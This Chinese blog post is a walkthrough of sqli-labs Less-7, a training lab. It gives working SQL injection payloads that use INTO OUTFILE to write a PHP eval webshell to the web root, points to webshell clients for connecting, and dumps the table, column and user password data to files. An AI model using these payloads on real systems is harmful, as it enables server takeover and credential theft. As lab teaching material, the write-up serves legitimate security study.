0
点赞
收藏
分享

微信扫一扫

sqlilabs—less-7—SQL注入写webshell

陈情雅雅 2022-03-15 阅读 108
lesssqlmysql

文章目录


Less-7

image-20220314160455722

提示使用outfile函数,也就是要用SQL写webshell了

1、fuzz

测试发现是单引号闭合,并且不仅仅是单引号

image-20220314160824597

测试后发现是单引号加两个右括号

image-20220314160921142

2、order by

?id=1')) order by 3%23

3、思路一:outfile导出文件

3.1、获取数据库路径

在less7中,我们无法获取到网站路径,因为它报错不在返回报错的数据库信息,我们可以在1-6关中注入获得数据库路径

image-20220314233625312

@@datadir返回的是数据库存储数据的路径,而我们知道网站路径是在WWW目录下,那么结合@@datadir我们可以推断出网站的绝对路径为 E:\phpStudy_64\phpstudy_pro\www\

3.2、读写权限测试

id=1')) and (select count(*) from mysql.user)>0 %23

返回正常则有读取权限

3.3、into outfile函数

?id=1')) union select 1,2,3 into outfile "E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.txt"

多次测试后一直写入失败,查询后得知权限过低

需要打开phpstudy\MySQL\my.ini文件,在其中加上一句:secure_file_priv="/"

image-20220315000609093

重启mysql后生效

E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.txt是当前关卡的路径,当然如果想直接放在WWW目录下也是一样的

image-20220315001236726

上图中显示 sql 出错了,但是没有关系,我们可以在浏览器或后台中看到 test.txt 文件已经生成了

image-20220315001310253

3.4、写一句话木马

?id=1')) union select 1,2,'<?php @eval($_POST["admin"])?>' into outfile "E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.php" %23

image-20220315001546581

成功写入,当然PHP源代码是看不到的

image-20220315001646564

3.5、实用工具连接

使用中国蚁剑、中国菜刀、冰蝎等工具连接数据库即可

image-20220315001933332

image-20220315001945509

3.6、注意

image-20220315002811047

由于先前已做过修改,这里显示的是可导入导出

4、思路二

4.1、导出数据库名

?id=-1')) union select 1,user(),database() into outfile "E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.txt" %23

image-20220315003308307

4.2、导出表名

?id=-1')) union select 1,2,table_name from information_schema.tables where table_schema='security' into outfile "E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\2.txt" %23

image-20220315003436702

4.3、导出列

?id=-1')) union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' into outfile "E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\3.txt" %23

image-20220315003617642

4.4、导出数据

?id=-1')) union select 1,username,password from users into outfile "E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\4.txt" %23

image-20220315003726230

举报

相关推荐

0 条评论